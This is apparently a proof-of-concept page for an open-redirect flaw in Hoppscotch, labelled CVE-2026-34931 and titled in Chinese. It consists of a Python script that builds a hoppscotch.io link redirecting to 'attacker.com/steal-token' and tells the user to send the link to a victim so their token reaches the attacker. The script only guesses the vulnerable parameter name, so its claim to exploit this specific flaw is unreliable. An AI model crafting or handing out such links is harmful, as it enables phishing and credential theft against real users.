CVE-2026-34931 Hoppscotch开放重定向漏洞

# PoC for CVE-2026-34931 (Open Redirect) # This script demonstrates how to craft a malicious URL to exploit the open redirect vulnerability. import urllib.parse def craft_exploit_url(base_url, malicious_url): """ Constructs a URL that exploits the open redirect vulnerability. Replace 'redirect' with the actual vulnerable parameter if different. """ # The vulnerable endpoint often accepts a 'redirect' or 'next' parameter params = {'redirect': malicious_url} query_string = urllib.parse.urlencode(params) exploit_url = f"{base_url}?{query_string}" return exploit_url if __name__ == "__main__": target = "https://hoppscotch.io" # Example target instance evil_site = "https://attacker.com/steal-token" url = craft_exploit_url(target, evil_site) print(f"[+] Send this link to the victim: {url}") print("[+] When the victim clicks, their token may be sent to the attacker.")